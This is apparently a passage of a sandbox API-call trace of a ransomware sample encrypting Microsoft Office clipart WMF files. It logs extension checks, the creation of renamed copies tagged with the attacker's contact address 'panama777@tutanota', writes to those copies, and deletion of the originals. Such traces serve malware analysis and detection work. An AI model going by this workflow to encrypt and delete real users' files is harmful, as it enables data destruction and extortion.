	[0272.574] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0272.574] lstrlenW (lpString=".pdf") returned 4
	[0272.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.575] lstrlenW (lpString=".xls") returned 4
	[0272.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.575] lstrlenW (lpString=".xlsx") returned 5
	[0272.575] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0272.575] lstrlenW (lpString=".ppt") returned 4
	[0272.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63
	[0272.575] lstrlenW (lpString=".zip") returned 4
	[0272.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.575] lstrlenW (lpString=".rar") returned 4
	[0272.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.575] lstrlenW (lpString=".bz2") returned 4
	[0272.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.575] lstrlenW (lpString=".7z") returned 3
	[0272.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63
	[0272.575] lstrlenW (lpString=".dbf") returned 4
	[0272.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63
	[0272.575] lstrlenW (lpString=".1cd") returned 4
	[0272.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63
	[0272.575] lstrlenW (lpString=".jpg") returned 4
	[0272.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.576] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=5908) returned 1
	[0272.576] CloseHandle (hObject=0x388) returned 1
	[0272.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20
	[0272.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.576] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.576] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0272.577] GetLastError () returned 0x0
	[0272.577] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1714, lpOverlapped=0x0) returned 1
	[0272.578] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1720, lpOverlapped=0x0) returned 1
	[0272.579] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.579] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.579] SetEndOfFile (hFile=0x35c) returned 1
	[0272.579] CloseHandle (hObject=0x35c) returned 1
	[0272.579] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.580] SetEndOfFile (hFile=0x388) returned 1
	[0272.582] CloseHandle (hObject=0x388) returned 1
	[0272.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 1
	[0272.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63
	[0272.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63
	[0272.582] lstrlenW (lpString=".doc") returned 4
	[0272.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.582] lstrlenW (lpString=".docx") returned 5
	[0272.582] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0272.582] lstrlenW (lpString=".pdf") returned 4
	[0272.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.582] lstrlenW (lpString=".xls") returned 4
	[0272.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.582] lstrlenW (lpString=".xlsx") returned 5
	[0272.582] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0272.583] lstrlenW (lpString=".ppt") returned 4
	[0272.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63
	[0272.583] lstrlenW (lpString=".zip") returned 4
	[0272.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.583] lstrlenW (lpString=".rar") returned 4
	[0272.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.583] lstrlenW (lpString=".bz2") returned 4
	[0272.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.583] lstrlenW (lpString=".7z") returned 3
	[0272.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63
	[0272.583] lstrlenW (lpString=".dbf") returned 4
	[0272.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63
	[0272.583] lstrlenW (lpString=".1cd") returned 4
	[0272.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63
	[0272.583] lstrlenW (lpString=".jpg") returned 4
	[0272.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.584] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=17728) returned 1
	[0272.584] CloseHandle (hObject=0x388) returned 1
	[0272.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20
	[0272.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.584] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.584] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0272.584] GetLastError () returned 0x0
	[0272.584] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x4540, lpOverlapped=0x0) returned 1
	[0272.586] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x4550, lpOverlapped=0x0) returned 1
	[0272.587] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.587] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.587] SetEndOfFile (hFile=0x35c) returned 1
	[0272.587] CloseHandle (hObject=0x35c) returned 1
	[0272.587] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.587] SetEndOfFile (hFile=0x388) returned 1
	[0272.592] CloseHandle (hObject=0x388) returned 1
	[0272.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 1
	[0272.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63
	[0272.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63
	[0272.593] lstrlenW (lpString=".doc") returned 4
	[0272.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.593] lstrlenW (lpString=".docx") returned 5
	[0272.593] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.593] lstrlenW (lpString=".pdf") returned 4
	[0272.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.593] lstrlenW (lpString=".xls") returned 4
	[0272.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.593] lstrlenW (lpString=".xlsx") returned 5
	[0272.593] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.593] lstrlenW (lpString=".ppt") returned 4
	[0272.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63
	[0272.593] lstrlenW (lpString=".zip") returned 4
	[0272.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.594] lstrlenW (lpString=".rar") returned 4
	[0272.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.594] lstrlenW (lpString=".bz2") returned 4
	[0272.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.594] lstrlenW (lpString=".7z") returned 3
	[0272.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63
	[0272.594] lstrlenW (lpString=".dbf") returned 4
	[0272.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63
	[0272.594] lstrlenW (lpString=".1cd") returned 4
	[0272.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63
	[0272.594] lstrlenW (lpString=".jpg") returned 4
	[0272.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.594] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=19240) returned 1
	[0272.594] CloseHandle (hObject=0x388) returned 1
	[0272.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 0x20
	[0272.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.595] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.595] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0272.595] GetLastError () returned 0x0
	[0272.595] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x4b28, lpOverlapped=0x0) returned 1
	[0272.796] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x4b30, lpOverlapped=0x0) returned 1
	[0272.797] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.797] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.797] SetEndOfFile (hFile=0x35c) returned 1
	[0272.797] CloseHandle (hObject=0x35c) returned 1
	[0272.797] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.797] SetEndOfFile (hFile=0x388) returned 1
	[0272.799] CloseHandle (hObject=0x388) returned 1
	[0272.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 1
	[0272.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63
	[0272.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63
	[0272.809] lstrlenW (lpString=".doc") returned 4
	[0272.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.809] lstrlenW (lpString=".docx") returned 5
	[0272.809] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0272.809] lstrlenW (lpString=".pdf") returned 4
	[0272.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.809] lstrlenW (lpString=".xls") returned 4
	[0272.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.809] lstrlenW (lpString=".xlsx") returned 5
	[0272.809] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0272.809] lstrlenW (lpString=".ppt") returned 4
	[0272.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63
	[0272.809] lstrlenW (lpString=".zip") returned 4
	[0272.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.809] lstrlenW (lpString=".rar") returned 4
	[0272.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.809] lstrlenW (lpString=".bz2") returned 4
	[0272.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.810] lstrlenW (lpString=".7z") returned 3
	[0272.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63
	[0272.810] lstrlenW (lpString=".dbf") returned 4
	[0272.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63
	[0272.810] lstrlenW (lpString=".1cd") returned 4
	[0272.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63
	[0272.810] lstrlenW (lpString=".jpg") returned 4
	[0272.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.810] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=4964) returned 1
	[0272.810] CloseHandle (hObject=0x388) returned 1
	[0272.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 0x20
	[0272.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.811] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.811] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0272.811] GetLastError () returned 0x0
	[0272.811] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1364, lpOverlapped=0x0) returned 1
	[0272.820] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1370, lpOverlapped=0x0) returned 1
	[0272.821] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.821] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.821] SetEndOfFile (hFile=0x35c) returned 1
	[0272.821] CloseHandle (hObject=0x35c) returned 1
	[0272.821] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.821] SetEndOfFile (hFile=0x388) returned 1
	[0272.823] CloseHandle (hObject=0x388) returned 1
	[0272.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 1
	[0272.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63
	[0272.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63
	[0272.824] lstrlenW (lpString=".doc") returned 4
	[0272.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.824] lstrlenW (lpString=".docx") returned 5
	[0272.824] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0272.824] lstrlenW (lpString=".pdf") returned 4
	[0272.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.824] lstrlenW (lpString=".xls") returned 4
	[0272.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.824] lstrlenW (lpString=".xlsx") returned 5
	[0272.824] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0272.824] lstrlenW (lpString=".ppt") returned 4
	[0272.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63
	[0272.824] lstrlenW (lpString=".zip") returned 4
	[0272.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.824] lstrlenW (lpString=".rar") returned 4
	[0272.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.824] lstrlenW (lpString=".bz2") returned 4
	[0272.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.824] lstrlenW (lpString=".7z") returned 3
	[0272.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63
	[0272.824] lstrlenW (lpString=".dbf") returned 4
	[0272.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63
	[0272.824] lstrlenW (lpString=".1cd") returned 4
	[0272.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63
	[0272.824] lstrlenW (lpString=".jpg") returned 4
	[0272.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.825] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=4624) returned 1
	[0272.825] CloseHandle (hObject=0x388) returned 1
	[0272.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20
	[0272.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
